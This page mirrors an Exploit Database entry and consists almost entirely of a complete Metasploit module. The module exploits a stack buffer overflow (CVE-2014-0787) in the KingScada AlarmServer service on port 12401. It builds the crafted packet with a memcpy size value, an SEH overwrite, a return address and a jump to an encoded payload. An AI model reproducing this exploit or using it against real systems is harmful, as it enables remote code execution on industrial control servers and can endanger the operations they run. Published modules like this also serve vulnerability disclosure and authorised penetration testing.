KingScada AlarmServer 3.1.2.13 – Remote Stack Buffer Overflow (Metasploit)

• Exploit Database
• 15 阅读

• 作者： James Fitts
  日期： 2017-09-14
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/42724/

• require 'msf/core'
  
  class MetasploitModule < Msf::Exploit::Remote
  	Rank = GreatRanking
  
  	include Msf::Exploit::Remote::Tcp
  	include Msf::Exploit::Remote::Seh
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'KingScada AlarmServer Stack Buffer Overflow',
  			'Description'=> %q{
  				This module exploits a stack based buffer overflow found in
  				KingScada < 3.1.2.13. The vulnerability is triggered when 
  				sending a specially crafted packet to the 'AlarmServer' 
  				(AEserver.exe) service listening on port 12401. During the
  				parsing of the packet the 3rd dword is used as a size value
  				for a memcpy operation which leads to an overflown stack buffer
  			},
  			'Author' => [ 'James Fitts' ],
  			'License'=> MSF_LICENSE,
  			'References' =>
  				[
  					[ 'CVE', '2014-0787' ],
  					[ 'ZDI', '14-071' ],
  					[ 'URL', 'http://ics-cert.us-cert.gov/advisories/ICSA-14-098-02' ]
  				],
  			'Privileged' => false,
  			'DefaultOptions' =>
  				{
  					'EXITFUNC' => 'process',
  				},
  			'Payload'=>
  				{
  					'Space'=> 1000,
  					'BadChars' => "\x00\x0a\x0d\x20",
  					'StackAdjustment' => -3500,
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[
  						'Windows XP SP3 EN / WellinTech KingScada 31.1.1.4', 
  							{
  								# dbghelp.dll
  								# pop esi/ pop edi/ retn
  								'ret' => 0x02881fbf,
  							} 
  					],
  				],
  			'DefaultTarget' => 0,
  			'DisclosureDate' => 'Apr 10, 2014'))
  
  		register_options([Opt::RPORT(12401)], self.class)
  	end
  
  	def exploit
  		connect
  
  		p = payload.encoded
  
  		buf = make_nops(5000)
  		buf[0, 4] = [0x000004d2].pack('V')
  		buf[4, 4] = [0x0000007b].pack('V')
  		buf[8, 4] = [0x0000133c].pack('V')	# size for memcpy()
  		buf[1128, p.length] = p
  		buf[2128, 8] = generate_seh_record(target['ret'])
  		buf[2136, 5] = "\xe9\x4b\xfb\xff\xff"	# jmp $-1200
  
  		print_status("Trying target #{target.name}...")
  
  		sock.put(buf)
  
  		handler
  		disconnect
  	end
  
  end